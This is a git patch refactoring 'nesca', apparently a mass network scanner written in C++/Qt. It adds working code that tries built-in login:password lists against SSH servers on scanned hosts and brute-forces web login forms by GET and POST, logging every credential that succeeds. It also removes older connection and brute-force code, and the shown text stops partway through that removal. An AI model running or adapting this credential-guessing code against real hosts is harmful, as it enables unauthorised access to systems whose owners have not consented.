From b0e7831984dd3522a70072cfffe39c9510723505 Mon Sep 17 00:00:00 2001 From: cora48 Date: Thu, 5 Mar 2015 17:29:05 +0300 Subject: [PATCH] Refactoring --- Connector.cpp | 231 +++++++ Connector.h | 20 + DrawerTh_ME2Scanner.cpp | 3 +- Utils.cpp | 11 + Utils.h | 25 + WebformWorker.cpp | 161 +++++ WebformWorker.h | 46 ++ connector.cpp => connector_old.cpp | 935 ++--------------------------- externData.h | 10 +- externFunctions.h | 2 +- finder.cpp | 87 ++- mainResources.h | 25 +- msgcheckerthread.cpp | 48 +- nesca.pro | 12 +- nesca.pro.user | 2 +- nesca_3.cpp | 57 -- nesca_startModule.cpp | 5 +- vercheckerthread.cpp | 46 +- 18 files changed, 656 insertions(+), 1070 deletions(-) create mode 100644 Connector.cpp create mode 100644 Connector.h create mode 100644 Utils.cpp create mode 100644 Utils.h create mode 100644 WebformWorker.cpp create mode 100644 WebformWorker.h rename connector.cpp => connector_old.cpp (67%) diff --git a/Connector.cpp b/Connector.cpp new file mode 100644 index 0000000..342820b --- /dev/null +++ b/Connector.cpp @@ -0,0 +1,231 @@ +#include + + + +int Connector::_sshConnect(char *user, char *pass, char *host, int port) +{ + char hostStr[128] = {0}; + ZeroMemory(hostStr, sizeof(hostStr)); + strcpy(hostStr, user); + strcat(hostStr, "@"); + strcat(hostStr, host); + + ssh_session my_ssh_session = ssh_new(); + if (my_ssh_session == NULL) + { + ssh_free(my_ssh_session); + return -1; + }; + + ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); + ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); + int sshTimeout = gTimeOut + 1; + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + + int rc = ssh_connect(my_ssh_session); + + if (rc != SSH_OK) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++offlines; + return -2; + } + else + { + rc = ssh_userauth_password(my_ssh_session, NULL, pass); + if (rc != SSH_AUTH_SUCCESS) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + return -1; + }; + }; + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++ssh; + return 0; +} + +char Connector::_get_ssh_banner(char *ip, int port) +{ + char recvBuff[256] = {0}; + std::string buffer; + Connector::nConnect(ip, port, &buffer); + + int sz = buffer.size(); + + if(sz != 0) + { + strncpy(recvBuff, buffer.c_str(), sz < 256 ? sz : 256); + }; + + return *recvBuff; +} + +int Connector::check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, const char *banner) +{ + int res = -1; + if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); + res = _sshConnect(user, pass, host, port); + if(res == 0) + { + stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + buffer->append(userPass); + buffer->append("@"); + buffer->append(host); + buffer->append("|+|"); + buffer->append(banner); + return 0; + }; + return res; +} + +int Connector::_EstablishSSHConnection(char *host, int port, std::string *buffer, const char *banner) +{ + char login[32] = {0}; + char pass[32] = {0}; + char temp[64] = {0}; + isActive = 1; + BConInc(); + int sz = 0; + char *ptr1 = 0; + int res = -1; + for(int i = 0; i < MaxSSHPass; ++i) + { + if(globalScanFlag == false) break; + strcpy(temp, sshlpLst[i]); + ptr1 = strstr(temp, ":"); + sz = ptr1 - temp; + strncpy(login, temp, sz); + strcpy(pass, ptr1 + 1); + res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); + ZeroMemory(login, sizeof(login)); + ZeroMemory(pass, sizeof(pass)); + ZeroMemory(temp, sizeof(temp)); + if(res == 0) + { + if(i == 0) return -2; //Failhit + BConDec(); + isActive = 0; + return 0; + } + else if(res == -2) + { + BConDec(); + isActive = 0; + return -2; + }; + Sleep(500); + }; + BConDec(); + isActive = 0; + return -1; +} + +QString strIP; +QString strPort; +int Connector::_SSHLobby(char *ip, int port, std::string *buffer) +{ + const char &banner = _get_ssh_banner(ip, port); + if(strlen(&banner) > 0) + { + return _EstablishSSHConnection(ip, port, buffer, &banner); + }; + return -1; +} + +static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp) +{ + ((std::string*)userp)->append((char*)contents, size * nmemb); + return size * nmemb; +} +int Connector::nConnect(char *ip, int port, std::string *buffer, + const char *postData = NULL, + const std::vector *customHeaders = NULL){ + + CURL *curl = curl_easy_init(); + + if (curl) + { + curl_easy_setopt(curl, CURLOPT_URL, ip); + curl_easy_setopt(curl, CURLOPT_PORT, port); + curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"); + curl_easy_setopt(curl, CURLOPT_HEADER, 1L); + curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer); + curl_easy_setopt(curl, CURLOPT_PROXY, "--"); + curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128); + curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); + curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut); + curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut); + + if(postData != NULL) { + + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData); + }; + + if(customHeaders != NULL) { + + struct curl_slist *chunk = NULL; + + for(auto &ch : customHeaders) { + + chunk = curl_slist_append(chunk, *ch); + } + + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk); + } + + curl_easy_perform(curl); + curl_easy_cleanup(curl); + } else { + stt->doEmitionRedFoundData("Curl error."); + return -1; + }; + + return buffer->size(); +} +int Connector::_ConnectToPort(char *ip, int port, char *hl) +{ + if(gPingNScan) + { + if(_pingMyTarget(ip) == 0) + { + return -2; + }; + }; + + std::string buffer; + int size = 0; + + if(port == 22) size = _SSHLobby(ip, port, &buffer); + else size = nConnect(ip, port, &buffer); + + if(size > 0) + { + ++Alive; + ++found; + stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); + + conSTR CSTR; + CSTR.lowerBuff = new char[size + 1]; + CSTR.size = size; + memcpy(CSTR.lowerBuff, buffer.c_str(), size); + memset(CSTR.lowerBuff + size, '\0', 1); + + Lexems lx; + lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl); + + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + + return 0; +} diff --git a/Connector.h b/Connector.h new file mode 100644 index 0000000..24cf8da --- /dev/null +++ b/Connector.h @@ -0,0 +1,20 @@ +#ifndef CONNECTOR_H +#define CONNECTOR_H + +class Connector { + +private: + int _sshConnect(char *user, char *pass, char *host, int port); + int _get_ssh_banner(char *ip, int port); + int check_ssh_pass(char *user, char *pass, char *userPass, + char *host, int port, std::string *buffer, const char *banner); + int _EstablishSSHConnection(char *host, int port, std::string *buffer, const char *banner); + +public: + static int nConnect(char *ip, int port, std::string *buffer, + const char *postData = NULL, + const std::vector *customHeaders = NULL); + static int _ConnectToPort(char *ip, int port, char *hl); + static int _SSHLobby(char *ip, int port, std::string *buffer); +}; +#endif // CONNECTOR_H diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp index 349af92..3f6dae4 100644 --- a/DrawerTh_ME2Scanner.cpp +++ b/DrawerTh_ME2Scanner.cpp @@ -1,6 +1,7 @@ #include "DrawerTh_ME2Scanner.h" #include "STh.h" #include "externData.h" +#include void DrawerTh_ME2Scanner::doEmitDrawTextPlacers() { @@ -45,7 +46,7 @@ void MakePolygonLine(int gWidth) if(xtx > 34 && xtx < 72) { - qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - WF*2 - fact2 : 20); + qp = QPointF(xtx, state ? qrand() % 3 - 3 + 20 - WF*2 - fact2 : 20); if(WF > 0) { diff --git a/Utils.cpp b/Utils.cpp new file mode 100644 index 0000000..20c299c --- /dev/null +++ b/Utils.cpp @@ -0,0 +1,11 @@ +#include + +template int Utils::ci_find_substr(const T& str1, + const T& str2, + const std::locale& locale) { + + auto it = std::search(str1.begin, str1.end, str2.begin, str2.end, + my_equal(locale)); + if(it != str1.end()) return it - str1.begin(); + else return -1; +} diff --git a/Utils.h b/Utils.h new file mode 100644 index 0000000..213faf9 --- /dev/null +++ b/Utils.h @@ -0,0 +1,25 @@ +#ifndef UTILS_H +#define UTILS_H + +#include +#include + +template +struct my_equal { + my_equal( const std::locale loc ) : loc_(loc) {} + bool operator()(charT ch1, charT ch2) { + return std::toupper(ch1, loc_) == std::toupper(ch2, loc_); + } +private: + const std::locale& loc_; +}; + +class Utils { +public: + // find substring (case insensitive) + template static int ci_find_substr(const T& str1, + const T& str2, + const std::locale& loc = std::locale()); +}; + +#endif // UTILS_H diff --git a/WebformWorker.cpp b/WebformWorker.cpp new file mode 100644 index 0000000..556f3c6 --- /dev/null +++ b/WebformWorker.cpp @@ -0,0 +1,161 @@ +#include + +lopaStr WFClass::parseResponse(const char *ip, + const int port, + const std::string *buffer, + const char* formVal, + const int *iIndex, + const int *jIndex) { + + lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; + + if(buffer->size() != 0) + { + if(Utils::ci_find_substr(*buffer, std::string(formVal)) == -1 + && Utils::ci_find_substr(*buffer, std::string("denied")) == -1 + && Utils::ci_find_substr(*buffer, std::string("Location:")) == -1 + && Utils::ci_find_substr(*buffer, std::string("Authentication required")) == -1 + && Utils::ci_find_substr(*buffer, std::string("invalid")) == -1 + && Utils::ci_find_substr(*buffer, std::string("err")) == -1 + && Utils::ci_find_substr(*buffer, std::string(".href")) == -1 + && Utils::ci_find_substr(*buffer, std::string(".replace")) == -1 + && Utils::ci_find_substr(*buffer, std::string(".location")) == -1 + && Utils::ci_find_substr(*buffer, std::string("501 not implemented")) == -1 + && Utils::ci_find_substr(*buffer, std::string("http-equiv")) == -1 + && Utils::ci_find_substr(*buffer, std::string("busy")) == -1 + && Utils::ci_find_substr(*buffer, std::string("later")) == -1 + && Utils::ci_find_substr(*buffer, std::string("forbidden")) == -1 + ) { + + if(*iIndex == 0) return result; + + stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " + + QString(wfLoginLst[*iIndex]) + ":" + QString(wfPassLst[*jIndex])); + strcpy(result.login, wfLoginLst[*iIndex]); + strcpy(result.pass, wfPassLst[*jIndex]); + return result; + + } else { + + if(Utils::ci_find_substr(*buffer, std::string("501 not implemented")) != -1) stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + + if(Utils::ci_find_substr(*buffer, std::string("404 not found")) != -1) stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + + return result; + } + } + else return result; +} + +lopaStr WFClass::doGetCheck(char *ip, + int port, + char *actionVal, + char *userVal, + char *passVal, + char *formVal) { + + lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; + int passCounter = 0; + int firstCycle = 0; + + for(int i = 0; i < MaxWFLogin; ++i) + { + if(globalScanFlag == false) break; + for(int j = firstCycle; j < MaxWFPass; ++j) + { + if(globalScanFlag == false) break; + + int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; + + if(rSize > 256) { + stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")"); + return result; + }; + + char nip[256] = {0}; + sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, wfLoginLst[i], passVal, wfPassLst[j]); + + std::string buffer; + Connector::nConnect(nip, port, &buffer); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + ++passCounter; + + result = parseResponse(ip, port, &buffer, formVal, &i, &j); + if(i == 0) ++i; + } + firstCycle = 1; + } + + return result; +} + +lopaStr WFClass::doPostCheck(char *ip, + int port, + char *actionVal, + char *userVal, + char *passVal, + char *formVal) { + + lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; + int passCounter = 0; + int firstCycle = 0; + + for(int i = 0; i < MaxWFLogin; ++i) + { + if(globalScanFlag == false) break; + for(int j = firstCycle; j < MaxWFPass; ++j) + { + if(globalScanFlag == false) break; + + int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; + + if(rSize > 256) { + stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")"); + return result; + }; + + char nip[256] = {0}; + char postData[256] = {0}; + sprintf(nip, "%s%s", ip, actionVal); + sprintf(postData, "%s=%s&%s=%s", userVal, wfLoginLst[i], passVal, wfPassLst[j]); + + std::string buffer; + Connector::nConnect(nip, port, &buffer, postData); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + ++passCounter; + + return parseResponse(ip, port, &buffer, formVal, &i, &j); + if(i == 0) ++i; + } + firstCycle = 1; + } + + return result; +} + +lopaStr WFClass::_WFBrute( char *ip, + int port, + char *methodVal, + char *actionVal, + char *userVal, + char *passVal, + char *formVal) { + + lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"}; + + if(strstri(methodVal, "get") != NULL) { + result = doGetCheck(ip, port, actionVal, userVal, passVal, formVal); + } else if(strstri(methodVal, "post") != NULL) { + result = doPostCheck(ip, port, actionVal, userVal, passVal, formVal); + } else { + stt->doEmitionFoundData("" + + QString(ip) + ":" + QString::number(port) + + " - [WF]: Unknown method."); + }; + + return result; +} diff --git a/WebformWorker.h b/WebformWorker.h new file mode 100644 index 0000000..659259b --- /dev/null +++ b/WebformWorker.h @@ -0,0 +1,46 @@ +#ifndef WEBFORMWORKER_H +#define WEBFORMWORKER_H + +#include +#include +#include +#include +#include "STh.h" + +class WFClass { + +private: static bool active; + int passCounter = 1; + lopaStr doGetCheck(char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); + lopaStr doPostCheck(char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); + lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal, + const int *iIndex, + const int *jIndex); + + +public: + WFClass(){ + + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + ++WF; + BConInc(); + active = true; + passCounter = 1; + } + + ~WFClass(){ + active = false; + BConDec(); + } + + lopaStr _WFBrute(char *ip, + int port, + char *methodVal, + char *actionVal, + char *userVal, + char *passVal, + char *formVal); +}; + +#endif // WEBFORMWORKER_H diff --git a/connector.cpp b/connector_old.cpp similarity index 67% rename from connector.cpp rename to connector_old.cpp index 358cdca..e2c8eb5 100644 --- a/connector.cpp +++ b/connector_old.cpp @@ -7,6 +7,7 @@ #include "externFunctions.h" #include "externData.h" #include +#include #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #include @@ -899,7 +900,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) return lps; } -lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) +lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -1328,7 +1329,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) return lps; } -lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) +lopaStr _FTPLobby(char *ip, int port, PathStr *ps) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -1344,830 +1345,6 @@ lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) return lps; } -int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) -{ - SSL *ssl = NULL; - int bytes = 0; - char *recvBuff2 = 0; - int resCode = 0; - - const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ - SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ - if(ctx != NULL) - { - SOCKET sock; - SSL_CTX_set_timeout(ctx, gTimeOut); - resCode = OpenConnection(&sock, iph, porth); - if(resCode >= 0) - { - ssl = SSL_new(ctx); /* create new SSL connection state */ - SSL_set_fd(ssl, sock); /* attach the socket descriptor */ - - if(SSL_connect(ssl)) - { - SSL_write(ssl, requesth, strlen(requesth)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(iph), QString(requesth)); - - int x = 256; - char recvBuff[8192] = {0}; - recvBuff2 = new char[RECV_MAX_SIZE]; - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - - while (x > 0) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); - if(x <= 0) break; - - bytes += x; - Activity += x; - - if( bytes > RECV_MAX_SIZE ) - { - if(strstri(recvBuff2, "http/1.") == NULL) - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - - ++Overl; - - CSTR->lowerBuff = new char[11]; - strcpy(CSTR->lowerBuff, "[OVERFLOW]"); - CSTR->size = 10; - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - return 0; - } - else break; - }; - if(globalScanFlag == true) - { - if(x > 0) - { - memset((void*)(recvBuff + x), '\0', 1); - strcat(recvBuff2, recvBuff); - } - else - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); - - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - CSTR->lowerBuff = new char[12]; - strcpy(CSTR->lowerBuff, "[IGNR_ADDR]"); - - CSTR->size = 11; - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - return 0; - }; - }; - }; - - if(bytes < 0) - { - stt->doEmitionRedFoundData("[SSL](_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth)); - }; - - SSL_free(ssl); - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - - if(bytes == 0 || recvBuff2 == NULL) - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - CSTR->lowerBuff = new char[1]; - strcpy(CSTR->lowerBuff, ""); - CSTR->size = 0; - return -1; - }; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(iph), QString(recvBuff2)); - std::string res2 = ""; - if(strlen(recvBuff2) > bytes) bytes = strlen(recvBuff2); - CSTR->lowerBuff = new char[bytes + 1]; - ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); - - strncpy(CSTR->lowerBuff, recvBuff2, bytes); - - delete[] recvBuff2; - recvBuff2 = NULL; - CSTR->size = bytes; - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); - return 0; - } - else - { - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - CSTR->lowerBuff = new char[1]; - strcpy(CSTR->lowerBuff, ""); - CSTR->size = 0; - return 0; - }; - } else return -1; - } - else - { - char buff1[512] = {0}; - char buff2[512] = {0}; - - ERR_error_string(ERR_peek_error(), buff1); - ERR_error_string(ERR_peek_last_error(), buff2); - stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); - return -1; - } -} - -int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) -{ - return _sslConnectTo(iph, porth, requesth, CSTR); -} - -void __deleteExcessiveNullBytes(char *buff, int sz) -{ - int j = 0; - for(int i = 0; i < sz - 1; ++i) - { - if(buff[i] != 0) buff[j++] = buff[i]; - }; -} - -struct linger linger = { 0 }; -int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force) -{ - CSTR->lowerBuff = NULL; - if(strlen(ip) == 0) - { - return -1; - }; - if(port < 0 || port > 65535) - { - return -1; - }; - - char *recvBuff2 = NULL; - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - - HOSTENT *host; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); -#endif - else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - ++offlines; - if(host == NULL) return -2; - else return -1; - }; - - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - while(sock == INVALID_SOCKET) - { - stt->doEmitionRedFoundData("[Cannot create socket]"); - - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - }; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - u_long FAR cmd = 1; - if( ioctlsocket( sock, FIONBIO, &cmd ) != 0 ) -#else - if( fcntl( sock, F_SETFL, O_NDELAY ) == -1 ) -#endif - { - stt->doEmitionRedFoundData("[FIONBIO failed]"); - }; - - int recvBuffSize = 0; - linger.l_onoff = 1; - linger.l_linger = 5; - setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); - - int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - while(sock == INVALID_SOCKET) - { - if(gDebugMode) stt->doEmitionDebugFoundData("[Invalid socket]: " + QString::number(WSAGetLastError())); - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); - iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - }; - - if(iResult == SOCKET_ERROR) - { - iError = WSAGetLastError(); - if (iError == WSAEWOULDBLOCK || iError == WSAEINPROGRESS) - { - fd_set read_fs; - fd_set write_fs; - FD_ZERO(&read_fs); - FD_ZERO(&write_fs); - FD_SET(sock, &read_fs); - FD_SET(sock, &write_fs); - timeval tv = { gTimeOut, 0 }; - - int oldErr = WSAGetLastError(); - iResult = select(sock + 1, &read_fs, &write_fs, NULL, &tv); - - if (iResult == SOCKET_ERROR) - { - ++offlines; - - stt->doEmitionRedFoundData("[Omitting IP] Select error-" + - QString::number(WSAGetLastError()) + " oldErr:" + QString::number(oldErr) + - " sock:" + QString::number(sock) + " -" + QString(ip) + ":" + QString::number(port)); - } - else - { - if (!iResult) { - ++offlines; - stt->doEmitionFoundData(QString::number(WSAGetLastError())); - } - else - { - int sResult = send(sock, request, strlen(request), 0); - - while(sResult == SOCKET_ERROR) - { - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(sResult == SOCKET_ERROR) continue; - sResult = send(sock, request, strlen(request), 0); - }; - - if(sResult != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - Activity += strlen(request); - char recvBuff[8192] = {0}; - recvBuff2 = new char[RECV_MAX_SIZE]; - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - - int bTO; - int x = 256; - while (x > 0) - { - ZeroMemory(recvBuff, 8192); - x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); - if(x <= 0) break; - Activity += x; - recvBuffSize += x; - if( recvBuffSize > RECV_MAX_SIZE ) - { - CSSOCKET(sock); - ++Overl; - - CSTR->lowerBuff = new char[recvBuffSize]; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - CSTR->size = recvBuffSize; - CSTR->overflow = true; - delete[] recvBuff2; - recvBuff2 = NULL; - return 0; - }; - strncat(recvBuff2, recvBuff, x); - }; - - if(strstri(recvBuff2, "no request found") != NULL) - { - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - CSSOCKET(sock); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - send(sock, request, strlen(request), 0); - x = 1; - while (x > 0) - { - ZeroMemory(recvBuff, 8192); - x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO); - if(x <= 0) break; - Activity += x; - recvBuffSize += x; - if( recvBuffSize > RECV_MAX_SIZE ) - { - CSSOCKET(sock); - ++Overl; - - CSTR->lowerBuff = new char[recvBuffSize]; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - CSTR->size = recvBuffSize; - CSTR->overflow = true; - delete[] recvBuff2; - recvBuff2 = NULL; - return 0; - }; - strncat(recvBuff2, recvBuff, x); - }; - }; - } - else - { - ++offlines; - stt->doEmitionRedFoundData("[_EC] Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError())); - }; - }; - }; - } - else - { - ++offlines; - if (iError == WSAENOBUFS) - { - stt->doEmitionRedFoundData("[ENOBUFS] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); - } - else if (iError == WSAEADDRNOTAVAIL) - { - stt->doEmitionRedFoundData("[EADDRNOTAVAIL] " + QString(ip) + - ":" + QString::number(port) + - " - " + QString::number(iError)); - } - else - { - stt->doEmitionRedFoundData("[Unknown error] " + QString(ip) + - ":" + QString::number(port) + - " - " + QString::number(iError)); - }; - }; - } - else - { - stt->doEmitionRedFoundData("[?!] Strange behavior detected (" + - QString::number(WSAGetLastError()) + - ") " + QString(ip) + ":" + QString::number(port)); - }; - - CSSOCKET(sock); - - if( globalScanFlag == false && force == 0) - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - return -1; - }; - - if(recvBuff2 != NULL && recvBuffSize > 0) - { - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); - CSTR->lowerBuff = new char[recvBuffSize + 1]; - ZeroMemory(CSTR->lowerBuff, recvBuffSize + 1); - CSTR->size = recvBuffSize; - strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); - memset(CSTR->lowerBuff + recvBuffSize, '\0', 1); - - delete []recvBuff2; - recvBuff2 = NULL; - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, CSTR->lowerBuff); - return 0; - } - else - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - return -1; - }; -} - -lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) -{ - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - - int cookieLen = strlen(cookie); - - char b[16] = {0}; - char request[2048] = {0}; - char argData[256] = {0}; - - Connector con; - conSTR CSTR; - int firstCycle = 0; - if(strstri(methodVal, "get") != NULL) - { - int passCounter = 1; - for(int i = 0; i < MaxWFLogin; ++i) - { - if(globalScanFlag == false) break; - for(int j = firstCycle; j < MaxWFPass; ++j) - { - if(globalScanFlag == false) break; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - - strcpy(request, "GET "); - strcat(request, actionVal); - strcat(request, "?"); - strcat(request, userVal); - strcat(request, "="); - strcat(request, wfLoginLst[i]); - strcat(request, "&"); - strcat(request, passVal); - strcat(request, "="); - strcat(request, wfPassLst[j]); - strcat(request, " HTTP/1.1\r\n"); - strcat(request, "Host: "); - strcat(request, ip); - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close"); - strcat(request, "\r\n\r\n"); - - if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR); - else con._EstablishConnection(ip, port, request, &CSTR); - - if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + 